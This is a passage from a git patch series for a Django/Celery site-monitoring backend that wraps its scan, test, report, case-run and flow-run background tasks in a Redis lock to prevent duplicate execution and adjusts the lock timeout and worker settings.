+            sites = Site.objects.filter(account=account)
+
+        # get all pages from existing sites
+        for site in sites:
+            pages += Page.objects.filter(site=site)
+
+        # creating scans for each page
+        for page in pages:
             
-            # adding to sites
-            if item['type'] == 'site':
-                try:
-                    sites.append(
-                        Site.objects.get(id=item['id'])
-                    ) 
-                except Exception as e:
-                    print(e)
-    
-    # grabbing all sites because no 
-    # resources were specified and scope is "account"
-    if len(resources) == 0 and scope == 'account':
-        sites = Site.objects.filter(account=account)
+            # check resource 
+            if check_and_increment_resource(page.account, 'scans'):
 
-    # get all pages from existing sites
-    for site in sites:
-        pages += Page.objects.filter(site=site)
+                # create Scan obj
+                scan = Scan.objects.create(
+                    site=page.site,
+                    page=page,
+                    type=type,
+                    tags=tags,
+                    configs=configs,
+                )
 
-    # creating scans for each page
-    for page in pages:
-        
-        # check resource 
-        if check_and_increment_resource(page.account, 'scans'):
+                # updating latest_scan info for page
+                page.info['latest_scan']['id'] = str(scan.id)
+                page.info['latest_scan']['time_created'] = str(datetime.now(timezone.utc))
+                page.info['latest_scan']['time_completed'] = None
+                page.info['latest_scan']['score'] = None
+                page.info['latest_scan']['score'] = None
+                page.save()
 
-            # create Scan obj
-            scan = Scan.objects.create(
-                site=page.site,
-                page=page,
-                type=type,
-                tags=tags,
-                configs=configs,
-            )
+                # updating latest_scan info for site
+                page.site.info['latest_scan']['id'] = str(scan.id)
+                page.site.info['latest_scan']['time_created'] = str(datetime.now(timezone.utc))
+                page.site.info['latest_scan']['time_completed'] = None
+                page.site.save()
 
-            # updating latest_scan info for page
-            page.info['latest_scan']['id'] = str(scan.id)
-            page.info['latest_scan']['time_created'] = str(datetime.now(timezone.utc))
-            page.info['latest_scan']['time_completed'] = None
-            page.info['latest_scan']['score'] = None
-            page.info['latest_scan']['score'] = None
-            page.save()
-
-            # updating latest_scan info for site
-            page.site.info['latest_scan']['id'] = str(scan.id)
-            page.site.info['latest_scan']['time_created'] = str(datetime.now(timezone.utc))
-            page.site.info['latest_scan']['time_completed'] = None
-            page.site.save()
-
-            # adding objects
-            objects.append({
-                'parent': str(scan.page.id),
-                'id': str(scan.id),
-                'status': 'working'
-            })
+                # adding objects
+                objects.append({
+                    'parent': str(scan.page.id),
+                    'id': str(scan.id),
+                    'status': 'working'
+                })
 
-            # init scan page in background
-            scan_page_bg.delay(
-                scan_id=str(scan.id),
-                alert_id=alert_id,
-                configs=configs,
-                flowrun_id=flowrun_id,
-                node_index=node_index
-            )
+                # init scan page in background
+                scan_page_bg.delay(
+                    scan_id=str(scan.id),
+                    alert_id=alert_id,
+                    configs=configs,
+                    flowrun_id=flowrun_id,
+                    node_index=node_index
+                )
+            
+        # update flowrun
+        if flowrun_id and flowrun_id != 'None':
+            update_flowrun(**{
+                'flowrun_id': flowrun_id,
+                'node_index': node_index,
+                'objects': objects,
+                'node_status': 'working' if len(objects) > 0 else 'failed',
+                'message': f'starting {len(objects)} scans for {page.site.site_url} | run_id: {flowrun_id}'
+            })
         
-    # update flowrun
-    if flowrun_id and flowrun_id != 'None':
-        update_flowrun(**{
-            'flowrun_id': flowrun_id,
-            'node_index': node_index,
-            'objects': objects,
-            'node_status': 'working' if len(objects) > 0 else 'failed',
-            'message': f'starting {len(objects)} scans for {page.site.site_url} | run_id: {flowrun_id}'
-        })
-    
-    # update schedule if task_id is not None
-    if task_id:
-        try:
-            last_run = datetime.now(timezone.utc)
-            Schedule.objects.filter(periodic_task_id=task_id).update(
-                time_last_run=last_run
-            )
-        except Exception as e:
-            print(e)
-    
-    logger.info('created new Scans')
-    return None
+        # update schedule if task_id is not None
+        if task_id:
+            try:
+                last_run = datetime.now(timezone.utc)
+                Schedule.objects.filter(periodic_task_id=task_id).update(
+                    time_last_run=last_run
+                )
+            except Exception as e:
+                print(e)
+        
+        logger.info('created new Scans')
+        return None
 
 
 
@@ -1359,155 +1389,160 @@ def create_test_bg(self, *args, **kwargs) -> None:
     flowrun_id = kwargs.get('flowrun_id')
     node_index = kwargs.get('node_index')
 
-    # checking location
-    if not check_location(configs.get('location', settings.LOCATION)):
-        logger.info('Not running due to location param')
-        return None
+    # check for redis lock
+    redis_id = task_id if task_id else secrets.token_hex(8)
+    lock_name = f"lock:create_test_bg_{redis_id}"
+    with task_lock(lock_name):
 
-    # create test if none was passed
-    if test_id is None:
-        
-        # setting defaults
-        pages = []
-        sites = []
-        objects = []
-        failed = 0
+        # checking location
+        if not check_location(configs.get('location', settings.LOCATION)):
+            logger.info('Not running due to location param')
+            return None
 
-        # get account if account_id exists
-        if account_id:
-            account = Account.objects.get(id=account_id)
+        # create test if none was passed
+        if test_id is None:
             
-        # iterating through resources 
-        # and adding to sites or pages
-        if len(resources) > 0:
-            for item in resources:
-                
-                # adding to pages
-                if item['type'] == 'page':
-                    try:
-                        pages.append(
-                            Page.objects.get(id=item['id'])
-                        ) 
-                    except Exception as e:
-                        print(e)
+            # setting defaults
+            pages = []
+            sites = []
+            objects = []
+            failed = 0
+
+            # get account if account_id exists
+            if account_id:
+                account = Account.objects.get(id=account_id)
                 
-                # adding to sites
-                if item['type'] == 'site':
-                    try:
-                        sites.append(
-                            Site.objects.get(id=item['id'])
-                        ) 
-                    except Exception as e:
-                        print(e)
-        
-        # grabbing all sites because no 
-        # resources were specified and scope is "account"
-        if len(resources) == 0 and scope == 'account':
-            sites = Site.objects.filter(account=account)
-
-        # get all pages from existing sites
-        for site in sites:
-            pages += Page.objects.filter(site=site)
-        
-        # create a test for each page
-        for page in pages:
+            # iterating through resources 
+            # and adding to sites or pages
+            if len(resources) > 0:
+                for item in resources:
+                    
+                    # adding to pages
+                    if item['type'] == 'page':
+                        try:
+                            pages.append(
+                                Page.objects.get(id=item['id'])
+                            ) 
+                        except Exception as e:
+                            print(e)
+                    
+                    # adding to sites
+                    if item['type'] == 'site':
+                        try:
+                            sites.append(
+                                Site.objects.get(id=item['id'])
+                            ) 
+                        except Exception as e:
+                            print(e)
             
-            objects.append({
-                'parent': str(page.id),
-                'id': None,
-                'status': 'working'
-            })
-
-            # check resource 
-            if check_and_increment_resource(page.account, 'tests'):
-
-                # updating latest_test info for page
-                page.info['latest_test']['id'] = 'placeholder'
-                page.info['latest_test']['time_created'] = str(datetime.now(timezone.utc))
-                page.info['latest_test']['time_completed'] = None
-                page.info['latest_test']['score'] = None
-                page.info['latest_test']['status'] = 'working'
-                page.save()
-
-                # updating latest_test info for site
-                page.site.info['latest_test']['id'] = 'placeholder'
-                page.site.info['latest_test']['time_created'] = str(datetime.now(timezone.utc))
-                page.site.info['latest_test']['time_completed'] = None
-                page.site.info['latest_test']['score'] = None
-                page.site.info['latest_test']['status'] = 'working'
-                page.site.save()
-
-                # create test
-                create_test.delay(
-                    page_id=str(page.id),
-                    type=type,
-                    configs=configs,
-                    tags=tags,
-                    threshold=float(threshold),
-                    pre_scan=pre_scan,
-                    post_scan=post_scan,
-                    alert_id=str(alert_id),
-                    flowrun_id=str(flowrun_id),
-                    node_index=node_index
-                )
+            # grabbing all sites because no 
+            # resources were specified and scope is "account"
+            if len(resources) == 0 and scope == 'account':
+                sites = Site.objects.filter(account=account)
+
+            # get all pages from existing sites
+            for site in sites:
+                pages += Page.objects.filter(site=site)
             
-            else:
-                # update flowrun
-                if flowrun_id and flowrun_id != 'None':
-                    update_flowrun(**{
-                        'flowrun_id': flowrun_id,
-                        'node_index': node_index,
-                        'message': (
-                            f'❌ test for {page.page_url} could not start because this account has reached '+
-                            f'max_allowed_tests for this billing cycle'
-                        )
-                    })
+            # create a test for each page
+            for page in pages:
                 
-                # update last object
-                failed += 1
-                objects[-1]['status'] = 'failed'
-                logger.info('maxed tests reached')
-                return None
+                objects.append({
+                    'parent': str(page.id),
+                    'id': None,
+                    'status': 'working'
+                })
 
-        # update flowrun
-        if flowrun_id and flowrun_id != 'None':
-            update_flowrun(**{
-                'flowrun_id': flowrun_id,
-                'node_index': node_index,
-                'objects': objects,
-                'node_status': 'working',
-                'message': f'created {str(len(objects) - failed)} tests for {page.site.site_url} | run_id: {flowrun_id}'
-            })
-    
-    # get test and run 
-    if test_id:
-        test = Test.objects.get(id=test_id)
-        create_test.delay(
-            test_id=str(test_id),
-            page_id=str(test.page.id),
-            type=type,
-            configs=configs,
-            tags=tags,
-            threshold=float(threshold),
-            pre_scan=pre_scan,
-            post_scan=post_scan,
-            alert_id=str(alert_id),
-            flowrun_id=str(flowrun_id),
-            node_index=node_index
-        )
+                # check resource 
+                if check_and_increment_resource(page.account, 'tests'):
+
+                    # updating latest_test info for page
+                    page.info['latest_test']['id'] = 'placeholder'
+                    page.info['latest_test']['time_created'] = str(datetime.now(timezone.utc))
+                    page.info['latest_test']['time_completed'] = None
+                    page.info['latest_test']['score'] = None
+                    page.info['latest_test']['status'] = 'working'
+                    page.save()
+
+                    # updating latest_test info for site
+                    page.site.info['latest_test']['id'] = 'placeholder'
+                    page.site.info['latest_test']['time_created'] = str(datetime.now(timezone.utc))
+                    page.site.info['latest_test']['time_completed'] = None
+                    page.site.info['latest_test']['score'] = None
+                    page.site.info['latest_test']['status'] = 'working'
+                    page.site.save()
+
+                    # create test
+                    create_test.delay(
+                        page_id=str(page.id),
+                        type=type,
+                        configs=configs,
+                        tags=tags,
+                        threshold=float(threshold),
+                        pre_scan=pre_scan,
+                        post_scan=post_scan,
+                        alert_id=str(alert_id),
+                        flowrun_id=str(flowrun_id),
+                        node_index=node_index
+                    )
+                
+                else:
+                    # update flowrun
+                    if flowrun_id and flowrun_id != 'None':
+                        update_flowrun(**{
+                            'flowrun_id': flowrun_id,
+                            'node_index': node_index,
+                            'message': (
+                                f'❌ test for {page.page_url} could not start because this account has reached '+
+                                f'max_allowed_tests for this billing cycle'
+                            )
+                        })
+                    
+                    # update last object
+                    failed += 1
+                    objects[-1]['status'] = 'failed'
+                    logger.info('maxed tests reached')
+                    return None
 
-    # update schedule if task_id is not None
-    if task_id:
-        try:
-            last_run = datetime.now(timezone.utc)
-            Schedule.objects.filter(periodic_task_id=task_id).update(
-                time_last_run=last_run
+            # update flowrun
+            if flowrun_id and flowrun_id != 'None':
+                update_flowrun(**{
+                    'flowrun_id': flowrun_id,
+                    'node_index': node_index,
+                    'objects': objects,
+                    'node_status': 'working',
+                    'message': f'created {str(len(objects) - failed)} tests for {page.site.site_url} | run_id: {flowrun_id}'
+                })
+        
+        # get test and run 
+        if test_id:
+            test = Test.objects.get(id=test_id)
+            create_test.delay(
+                test_id=str(test_id),
+                page_id=str(test.page.id),
+                type=type,
+                configs=configs,
+                tags=tags,
+                threshold=float(threshold),
+                pre_scan=pre_scan,
+                post_scan=post_scan,
+                alert_id=str(alert_id),
+                flowrun_id=str(flowrun_id),
+                node_index=node_index
             )
-        except Exception as e:
-            print(e)
 
-    logger.info('Created new Tests')
-    return None
+        # update schedule if task_id is not None
+        if task_id:
+            try:
+                last_run = datetime.now(timezone.utc)
+                Schedule.objects.filter(periodic_task_id=task_id).update(
+                    time_last_run=last_run
+                )
+            except Exception as e:
+                print(e)
+
+        logger.info('Created new Tests')
+        return None
 
 
 
@@ -1604,91 +1639,96 @@ def create_report_bg(*args, **kwargs) -> None:
     flowrun_id = kwargs.get('flowrun_id')
     node_index = kwargs.get('node_index')
 
-    # setting defaults
-    pages = []
-    sites = []
-    objects = []
+    # check for redis lock
+    redis_id = task_id if task_id else secrets.token_hex(8)
+    lock_name = f"lock:create_report_bg_{redis_id}"
+    with task_lock(lock_name):
 
-    # get account if account_id exists
-    if account_id:
-        account = Account.objects.get(id=account_id)
-        
-    # iterating through resources 
-    # and adding to sites or pages
-    if len(resources) > 0:
-        for item in resources:
-            
-            # adding to pages
-            if item['type'] == 'page':
-                try:
-                    pages.append(
-                        Page.objects.get(id=item['id'])
-                    ) 
-                except Exception as e:
-                    print(e)
+        # setting defaults
+        pages = []
+        sites = []
+        objects = []
+
+        # get account if account_id exists
+        if account_id:
+            account = Account.objects.get(id=account_id)
             
-            # adding to sites
-            if item['type'] == 'site':
-                try:
-                    sites.append(
-                        Site.objects.get(id=item['id'])
-                    ) 
-                except Exception as e:
-                    print(e)
-    
-    # grabbing all sites because no 
-    # resources were specified and scope is "account"
-    if len(resources) == 0 and scope == 'account':
-        sites = Site.objects.filter(account=account)
+        # iterating through resources 
+        # and adding to sites or pages
+        if len(resources) > 0:
+            for item in resources:
+                
+                # adding to pages
+                if item['type'] == 'page':
+                    try:
+                        pages.append(
+                            Page.objects.get(id=item['id'])
+                        ) 
+                    except Exception as e:
+                        print(e)
+                
+                # adding to sites
+                if item['type'] == 'site':
+                    try:
+                        sites.append(
+                            Site.objects.get(id=item['id'])
+                        ) 
+                    except Exception as e:
+                        print(e)
+        
+        # grabbing all sites because no 
+        # resources were specified and scope is "account"
+        if len(resources) == 0 and scope == 'account':
+            sites = Site.objects.filter(account=account)
 
-    # get all pages from existing sites
-    for site in sites:
-        pages += Page.objects.filter(site=site)
+        # get all pages from existing sites
+        for site in sites:
+            pages += Page.objects.filter(site=site)
 
-    # record objects for each report
-    for page in pages:
+        # record objects for each report
+        for page in pages:
 
-        objects.append({
-            'parent': str(page.id),
-            'id': None,
-            'status': 'working'
-        })
+            objects.append({
+                'parent': str(page.id),
+                'id': None,
+                'status': 'working'
+            })
 
-    # update flowrun
-    if flowrun_id and flowrun_id != 'None':
-        update_flowrun(**{
-            'flowrun_id': flowrun_id,
-            'node_index': node_index,
-            'objects': objects,
-            'node_status': 'working',
-            'message': f'starting {str(len(objects))} reports for {page.site.site_url} | run_id: {flowrun_id}'
-        })
+        # update flowrun
+        if flowrun_id and flowrun_id != 'None':
+            update_flowrun(**{
+                'flowrun_id': flowrun_id,
+                'node_index': node_index,
+                'objects': objects,
+                'node_status': 'working',
+                'message': f'starting {str(len(objects))} reports for {page.site.site_url} | run_id: {flowrun_id}'
+            })
 
-    # create reports for each page
-    for page in pages:
+        # create reports for each page
+        for page in pages:
 
-        # sleeping random for DB 
-        time.sleep(random.uniform(2, 6))
+            # sleeping random for DB 
+            time.sleep(random.uniform(2, 6))
 
-        create_report.delay(
-            page_id=page.id,
-            alert_id=alert_id,
-            flowrun_id=flowrun_id,
-            node_index=node_index
-        )
-    
-    # update schedule if task_id is not None
-    if task_id:
-        try:
-            last_run = datetime.now(timezone.utc)
-            Schedule.objects.filter(periodic_task_id=task_id).update(
-                time_last_run=last_run
+            create_report.delay(
+                page_id=page.id,
+                alert_id=alert_id,
+                flowrun_id=flowrun_id,
+                node_index=node_index
             )
-        except Exception as e:
-            print(e)
-    
-    logger.info('Created new Reports')
-    return None
+        
+        # update schedule if task_id is not None
+        if task_id:
+            try:
+                last_run = datetime.now(timezone.utc)
+                Schedule.objects.filter(periodic_task_id=task_id).update(
+                    time_last_run=last_run
+                )
+            except Exception as e:
+                print(e)
+        
+        logger.info('Created new Reports')
+        return None
 
 
 
@@ -1857,134 +1897,139 @@ def create_caserun_bg(*args, **kwargs) -> None:
     flowrun_id = kwargs.get('flowrun_id')
     node_index = kwargs.get('node_index')
 
-    # checking location
-    if not check_location(configs.get('location', settings.LOCATION)):
-        logger.info('Not running due to location param')
-        return None
+    # check for redis lock
+    redis_id = task_id if task_id else secrets.token_hex(8)
+    lock_name = f"lock:create_caserun_bg_{redis_id}"
+    with task_lock(lock_name):
 
-    # settign defaults 
-    case = None
-    steps = None
-    caseruns = []
-    sites = []
-    objects = []
+        # checking location
+        if not check_location(configs.get('location', settings.LOCATION)):
+            logger.info('Not running due to location param')
+            return None
 
-    # get case
-    if case_id:
-        case = Case.objects.get(id=case_id)
-
-    # update steps
-    if case:
-        steps = requests.get(case.steps['url']).json()
-        for step in steps:
-            if step['action']['type'] != None:
-                step['action']['time_created'] = None
-                step['action']['time_completed'] = None
-                step['action']['exception'] = None
-                step['action']['status'] = None
-
-            if step['assertion']['type'] != None:
-                step['assertion']['time_created'] = None
-                step['assertion']['time_completed'] = None
-                step['assertion']['exception'] = None
-                step['assertion']['status'] = None
-
-    # adding updates
-    if steps:
-        for update in updates:
-            steps[int(update['index'])]['action']['value'] = update['value']
-
-    # getting caserun
-    if caserun_id:
-        caseruns = [CaseRun.objects.get(id=caserun_id),]
-    
-    # creating caserun from case
-    if caserun_id is None:
-        
-        # getting all sites in resources
-        for item in resources:
-            if item['type'] == 'site':
-                try:
-                    sites.append(
-                        Site.objects.get(id=item['id'])
-                    )
-                except Exception as e:
-                    print(e)
+        # settign defaults 
+        case = None
+        steps = None
+        caseruns = []
+        sites = []
+        objects = []
+
+        # get case
+        if case_id:
+            case = Case.objects.get(id=case_id)
+
+        # update steps
+        if case:
+            steps = requests.get(case.steps['url']).json()
+            for step in steps:
+                if step['action']['type'] != None:
+                    step['action']['time_created'] = None
+                    step['action']['time_completed'] = None
+                    step['action']['exception'] = None
+                    step['action']['status'] = None
+
+                if step['assertion']['type'] != None:
+                    step['assertion']['time_created'] = None
+                    step['assertion']['time_completed'] = None
+                    step['assertion']['exception'] = None
+                    step['assertion']['status'] = None
+
+        # adding updates
+        if steps:
+            for update in updates:
+                steps[int(update['index'])]['action']['value'] = update['value']
+
+        # getting caserun
+        if caserun_id:
+            caseruns = [CaseRun.objects.get(id=caserun_id),]
         
-        # add all sites in account if scope == 'account'
-        if scope == 'account' and len(resources) == 0:
-            sites = Site.objects.filter(account__id=account_id)
+        # creating caserun from case
+        if caserun_id is None:
+            
+            # getting all sites in resources
+            for item in resources:
+                if item['type'] == 'site':
+                    try:
+                        sites.append(
+                            Site.objects.get(id=item['id'])
+                        )
+                    except Exception as e:
+                        print(e)
+            
+            # add all sites in account if scope == 'account'
+            if scope == 'account' and len(resources) == 0:
+                sites = Site.objects.filter(account__id=account_id)
 
-        # iterate through sites
-        for site in sites:
+            # iterate through sites
+            for site in sites:
 
-            # check and increment resource
-            if check_and_increment_resource(site.account, 'caseruns'):
-    
-                # create new caserun
-                caserun = CaseRun.objects.create(
-                    case = case,
-                    title = case.title,
-                    site = site,
-                    user = site.user,
-                    account = site.account,
-                    configs = configs,
-                    steps = steps
-                )
+                # check and increment resource
+                if check_and_increment_resource(site.account, 'caseruns'):
+        
+                    # create new caserun
+                    caserun = CaseRun.objects.create(
+                        case = case,
+                        title = case.title,
+                        site = site,
+                        user = site.user,
+                        account = site.account,
+                        configs = configs,
+                        steps = steps
+                    )
 
-                # add to list
-                caseruns.append(caserun)
+                    # add to list
+                    caseruns.append(caserun)
 
-                # add to objects
-                objects.append({
-                    'parent': str(site.id),
-                    'id': str(caserun.id),
-                    'status': 'working'
-                })
-            
-            else:
-                # update flowrun if not able to contiune
-                if flowrun_id and flowrun_id != 'None':
-                    update_flowrun(**{
-                        'flowrun_id': flowrun_id,
-                        'node_index': node_index,
-                        'node_status': 'failed',
-                        'message': (
-                            f'❌ case run could not start because this account has reached '+
-                            f'max_allowed_caseruns for this billing cycle'
-                        )
+                    # add to objects
+                    objects.append({
+                        'parent': str(site.id),
+                        'id': str(caserun.id),
+                        'status': 'working'
                     })
+                
+                else:
+                    # update flowrun if not able to contiune
+                    if flowrun_id and flowrun_id != 'None':
+                        update_flowrun(**{
+                            'flowrun_id': flowrun_id,
+                            'node_index': node_index,
+                            'node_status': 'failed',
+                            'message': (
+                                f'❌ case run could not start because this account has reached '+
+                                f'max_allowed_caseruns for this billing cycle'
+                            )
+                        })
 
-    # update flowrun
-    if flowrun_id and flowrun_id != 'None':
-        update_flowrun(**{
-            'flowrun_id': flowrun_id,
-            'node_index': node_index,
-            'node_status': 'working',
-            'objects': objects
-        })
-
-    # iterate through caseruns and run
-    for caserun in caseruns:
-        run_case.delay(
-            caserun_id=str(caserun.id),
-            alert_id=alert_id,
-            flowrun_id=flowrun_id,
-            node_index=node_index
-        )
+        # update flowrun
+        if flowrun_id and flowrun_id != 'None':
+            update_flowrun(**{
+                'flowrun_id': flowrun_id,
+                'node_index': node_index,
+                'node_status': 'working',
+                'objects': objects
+            })
 
-    # update schedule if task_id is not None
-    if task_id:
-        try:
-            last_run = datetime.now(timezone.utc)
-            Schedule.objects.filter(periodic_task_id=task_id).update(
-                time_last_run=last_run
+        # iterate through caseruns and run
+        for caserun in caseruns:
+            run_case.delay(
+                caserun_id=str(caserun.id),
+                alert_id=alert_id,
+                flowrun_id=flowrun_id,
+                node_index=node_index
             )
-        except Exception as e:
-            print(e)
 
-    logger.info('Created CaseRuns')
-    return None
+        # update schedule if task_id is not None
+        if task_id:
+            try:
+                last_run = datetime.now(timezone.utc)
+                Schedule.objects.filter(periodic_task_id=task_id).update(
+                    time_last_run=last_run
+                )
+            except Exception as e:
+                print(e)
+
+        logger.info('Created CaseRuns')
+        return None
 
 
 
@@ -2016,99 +2061,104 @@ def create_flowrun_bg(*args, **kwargs) -> None:
     task_id = kwargs.get('task_id')
     configs = kwargs.get('configs', settings.CONFIGS)
 
-    # checking location
-    if not check_location(configs.get('location', settings.LOCATION)):
-        logger.info('Not running due to location param')
-        return None
+    # check for redis lock
+    redis_id = task_id if task_id else secrets.token_hex(8)
+    lock_name = f"lock:create_flowrun_bg_{redis_id}"
+    with task_lock(lock_name):
 
-    # settign defaults 
-    flow = None
-    sites = []
+        # checking location
+        if not check_location(configs.get('location', settings.LOCATION)):
+            logger.info('Not running due to location param')
+            return None
 
-    # get flow
-    if flow_id:
-        flow = Flow.objects.get(id=flow_id)
+        # settign defaults 
+        flow = None
+        sites = []
+
+        # get flow
+        if flow_id:
+            flow = Flow.objects.get(id=flow_id)
 
-    # getting all sites in resources
-    for item in resources:
-        if item['type'] == 'site':
+        # getting all sites in resources
+        for item in resources:
+            if item['type'] == 'site':
+                try:
+                    sites.append(
+                        Site.objects.get(id=item['id'])
+                    )
+                except Exception as e:
+                    print(e)
+        
+        # add all sites in account if scope == 'account'
+        if scope == 'account' and len(resources) == 0:
+            sites = Site.objects.filter(account__id=account_id)
+
+        # iterate through sites
+        for site in sites:
+
+            # check and increment resource
+            if check_and_increment_resource(site.account, 'flowruns'):
+
+                # set flowrun_id
+                flowrun_id = uuid.uuid4()
+
+                # update nodes
+                _nodes = flow.nodes
+                for i in range(len(_nodes)):
+                    _nodes[i]['data']['status'] = 'queued'
+                    _nodes[i]['data']['finalized'] = False
+                    _nodes[i]['data']['time_started'] = None
+                    _nodes[i]['data']['time_completed'] = None
+                    _nodes[i]['data']['alert_id'] = alert_id
+                    _nodes[i]['data']['objects'] = []
+
+                # updates edges
+                _edges = flow.edges
+                for i in range(len(_edges)):
+                    _edges[i]['animated'] = False
+                    _edges[i]['style'] = None
+
+                # create init log
+                logs = [{
+                    'timestamp': datetime.now(timezone.utc).strftime('%Y-%m-%d %H:%M:%S.%f'),
+                    'message': f'system starting up for run_id: {str(flowrun_id)}',
+                    'step': '1'
+                },]
+
+                # create flowrun
+                flowrun = FlowRun.objects.create(
+                    id      = flowrun_id,
+                    flow    = flow,
+                    user    = flow.user,
+                    account = flow.account,
+                    site    = site,
+                    title   = flow.title,
+                    nodes   = _nodes,
+                    edges   = _edges,
+                    logs    = logs,
+                    configs = configs
+                )
+
+                # update flow with time_last_run
+                flow = Flow.objects.get(id=flow_id)
+                flow.time_last_run = datetime.now(timezone.utc)
+                flow.save()
+            
+            else:
+                logger.info('max flowruns reached')
+
+        # update schedule if task_id is not None
+        if task_id:
             try:
-                sites.append(
-                    Site.objects.get(id=item['id'])
+                last_run = datetime.now(timezone.utc)
+                Schedule.objects.filter(periodic_task_id=task_id).update(
+                    time_last_run=last_run
                 )
             except Exception as e:
                 print(e)
-    
-    # add all sites in account if scope == 'account'
-    if scope == 'account' and len(resources) == 0:
-        sites = Site.objects.filter(account__id=account_id)
-
-    # iterate through sites
-    for site in sites:
-
-        # check and increment resource
-        if check_and_increment_resource(site.account, 'flowruns'):
-
-            # set flowrun_id
-            flowrun_id = uuid.uuid4()
-
-            # update nodes
-            _nodes = flow.nodes
-            for i in range(len(_nodes)):
-                _nodes[i]['data']['status'] = 'queued'
-                _nodes[i]['data']['finalized'] = False
-                _nodes[i]['data']['time_started'] = None
-                _nodes[i]['data']['time_completed'] = None
-                _nodes[i]['data']['alert_id'] = alert_id
-                _nodes[i]['data']['objects'] = []
-
-            # updates edges
-            _edges = flow.edges
-            for i in range(len(_edges)):
-                _edges[i]['animated'] = False
-                _edges[i]['style'] = None
-
-            # create init log
-            logs = [{
-                'timestamp': datetime.now(timezone.utc).strftime('%Y-%m-%d %H:%M:%S.%f'),
-                'message': f'system starting up for run_id: {str(flowrun_id)}',
-                'step': '1'
-            },]
-
-            # create flowrun
-            flowrun = FlowRun.objects.create(
-                id      = flowrun_id,
-                flow    = flow,
-                user    = flow.user,
-                account = flow.account,
-                site    = site,
-                title   = flow.title,
-                nodes   = _nodes,
-                edges   = _edges,
-                logs    = logs,
-                configs = configs
-            )
 
-            # update flow with time_last_run
-            flow = Flow.objects.get(id=flow_id)
-            flow.time_last_run = datetime.now(timezone.utc)
-            flow.save()
-        
-        else:
-            logger.info('max flowruns reached')
-
-    # update schedule if task_id is not None
-    if task_id:
-        try:
-            last_run = datetime.now(timezone.utc)
-            Schedule.objects.filter(periodic_task_id=task_id).update(
-                time_last_run=last_run
-            )
-        except Exception as e:
-            print(e)
-
-    logger.info('Created FlowRuns')
-    return None
+        logger.info('Created FlowRuns')
+        return None
 
 
 
diff --git a/app/cursion/celery.py b/app/cursion/celery.py
index 773c4997..6ab129bd 100644
--- a/app/cursion/celery.py
+++ b/app/cursion/celery.py
@@ -24,6 +24,7 @@
     worker_prefetch_multiplier=1,
     worker_hijack_root_logger=False,
     task_always_eager=False,
+    task_reject_on_worker_lost=True,
     worker_cancel_long_running_tasks_on_connection_loss=True,
     worker_max_tasks_per_child=100
 )

From dab3b1615c0001ccb5d205f9c12c33e3d345fc72 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 27 Dec 2024 14:05:47 -0700
Subject: [PATCH 0821/1099] increated timeout for task_lock from 60 to 300

---
 app/api/tasks.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index f72a01e2..fc8f80b7 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -53,7 +53,7 @@ class BaseTaskWithRetry(Task):
 
 # setting locking manager to prevent duplicate tasks
 @contextmanager
-def task_lock(lock_name, timeout=60):
+def task_lock(lock_name, timeout=300):
     lock = redis_client.lock(lock_name, timeout=timeout)
     acquired = lock.acquire(blocking=False)
     try:

From 2627b8d93f9be6fff8f4ae12efd5d5a48d588af9 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 27 Dec 2024 15:31:18 -0700
Subject: [PATCH 0822/1099] updated redis lock checker

---
 app/api/tasks.py | 42 +++++++++++++++++++++++++++++++++---------
 1 file changed, 33 insertions(+), 9 deletions(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index fc8f80b7..33f986bd 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -56,14 +56,13 @@ class BaseTaskWithRetry(Task):
 def task_lock(lock_name, timeout=300):
     lock = redis_client.lock(lock_name, timeout=timeout)
     acquired = lock.acquire(blocking=False)
+    print(f"Lock {'acquired' if acquired else 'not acquired'} for {lock_name}")
     try:
-        if acquired:
-            yield True
-        else:
-            yield False
+        yield acquired
     finally:
         if acquired:
             lock.release()
+            print(f"Lock released for {lock_name}")
 
 
 
@@ -769,7 +768,12 @@ def create_scan_bg(self, *args, **kwargs) -> None:
     # check for redis lock
     redis_id = task_id if task_id else secrets.token_hex(8)
     lock_name = f"lock:create_scan_bg_{redis_id}"
-    with task_lock(lock_name):
+    with task_lock(lock_name) as lock_acquired:
+        
+        # checking if task is already running
+        if not lock_acquired:
+            logger.info('task is already running, skipping execution.')
+            return None
 
         # checking location
         if not check_location(configs.get('location', settings.LOCATION)):
@@ -1392,7 +1396,12 @@ def create_test_bg(self, *args, **kwargs) -> None:
     # check for redis lock
     redis_id = task_id if task_id else secrets.token_hex(8)
     lock_name = f"lock:create_test_bg_{redis_id}"
-    with task_lock(lock_name):
+    with task_lock(lock_name) as lock_acquired:
+        
+        # checking if task is already running
+        if not lock_acquired:
+            logger.info('task is already running, skipping execution.')
+            return None
 
         # checking location
         if not check_location(configs.get('location', settings.LOCATION)):
@@ -1642,7 +1651,12 @@ def create_report_bg(*args, **kwargs) -> None:
     # check for redis lock
     redis_id = task_id if task_id else secrets.token_hex(8)
     lock_name = f"lock:create_report_bg_{redis_id}"
-    with task_lock(lock_name):
+    with task_lock(lock_name) as lock_acquired:
+        
+        # checking if task is already running
+        if not lock_acquired:
+            logger.info('task is already running, skipping execution.')
+            return None
 
         # setting defaults
         pages = []
@@ -1900,7 +1914,12 @@ def create_caserun_bg(*args, **kwargs) -> None:
     # check for redis lock
     redis_id = task_id if task_id else secrets.token_hex(8)
     lock_name = f"lock:create_caserun_bg_{redis_id}"
-    with task_lock(lock_name):
+    with task_lock(lock_name) as lock_acquired:
+        
+        # checking if task is already running
+        if not lock_acquired:
+            logger.info('task is already running, skipping execution.')
+            return None
 
         # checking location
         if not check_location(configs.get('location', settings.LOCATION)):
@@ -2064,7 +2083,12 @@ def create_flowrun_bg(*args, **kwargs) -> None:
     # check for redis lock
     redis_id = task_id if task_id else secrets.token_hex(8)
     lock_name = f"lock:create_flowrun_bg_{redis_id}"
-    with task_lock(lock_name):
+    with task_lock(lock_name) as lock_acquired:
+        
+        # checking if task is already running
+        if not lock_acquired:
+            logger.info('task is already running, skipping execution.')
+            return None
 
         # checking location
         if not check_location(configs.get('location', settings.LOCATION)):

From dc0e43eb89e18163f8c34ecd536f2725a89ed5a7 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 27 Dec 2024 16:21:33 -0700
Subject: [PATCH 0823/1099] removed unused arg

---
